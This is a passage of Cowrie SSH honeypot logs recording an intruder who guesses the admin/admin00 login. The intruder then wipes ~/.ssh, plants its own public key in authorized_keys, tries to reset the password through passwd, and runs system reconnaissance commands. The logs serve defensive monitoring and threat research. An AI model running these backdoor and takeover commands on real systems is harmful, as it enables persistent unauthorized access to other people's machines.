stp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:04.370370Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin00","message":"login attempt [admin/admin00] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:05.249535Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:05.789745Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:05.793783Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:05.797999Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:06.032540Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:06.531195Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:06.534752Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:06.959166Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:06.963289Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":52782,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ade16735c55","protocol":"ssh","message":"New connection: 118.193.33.42:52782 (159.203.135.109:22) [session: 6ade16735c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:07.177227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:07.183268Z","src_ip":"118.193.33.42","session":"6ade16735c55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:07.403369Z","src_ip":"118.193.33.42","session":"6ade16735c55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:08.334326Z","src_ip":"118.193.33.42","session":"6ade16735c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:09.568381Z","src_ip":"118.193.33.42","session":"6ade16735c55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":53612,"dst_ip":"159.203.135.109","dst_port":22,"session":"1918583893cb","protocol":"ssh","message":"New connection: 118.193.33.42:53612 (159.203.135.109:22) [session: 1918583893cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:09.778136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:09.803097Z","src_ip":"118.193.33.42","session":"1918583893cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:10.015170Z","src_ip":"118.193.33.42","session":"1918583893cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:10.887464Z","src_ip":"118.193.33.42","session":"1918583893cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:12.122978Z","src_ip":"118.193.33.42","session":"1918583893cb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:12.470644Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:12.473921Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:12.692999Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:13.165803Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin00\\nT9mMlNqwRdZI\\nT9mMlNqwRdZI\"|passwd|bash","message":"CMD: echo -e \"admin00\\nT9mMlNqwRdZI\\nT9mMlNqwRdZI\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:13.168847Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:13.172221Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:13.175205Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b4969defe1ea3d5828a9fdbf75ea8a19607e45459be83a8b7934d8de081332d8","size":32,"shasum":"b4969defe1ea3d5828a9fdbf75ea8a19607e45459be83a8b7934d8de081332d8","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b4969defe1ea3d5828a9fdbf75ea8a19607e45459be83a8b7934d8de081332d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:13.395966Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:13.886541Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin00\\nT9mMlNqwRdZI\\nT9mMlNqwRdZI\\n\"|passwd","message":"CMD: echo \"admin00\\nT9mMlNqwRdZI\\nT9mMlNqwRdZI\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:13.890006Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afece88799e30c5045b58fb998f69fde5348d92a9ca64059d00911e5389894f6","size":25,"shasum":"afece88799e30c5045b58fb998f69fde5348d92a9ca64059d00911e5389894f6","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afece88799e30c5045b58fb998f69fde5348d92a9ca64059d00911e5389894f6 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:14.111097Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:14.672811Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:14.676833Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:15.026793Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:15.532574Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:15.535987Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:15.764464Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:16.259903Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:16.263397Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:16.266804Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:16.488421Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:16.992122Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:16.995785Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:17.231949Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:17.711483Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:17.714772Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:17.985788Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:18.457100Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:18.459761Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:18.685272Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:19.152323Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:19.155810Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:19.388755Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:19.870452Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:19.873975Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:20.100820Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:20.577038Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
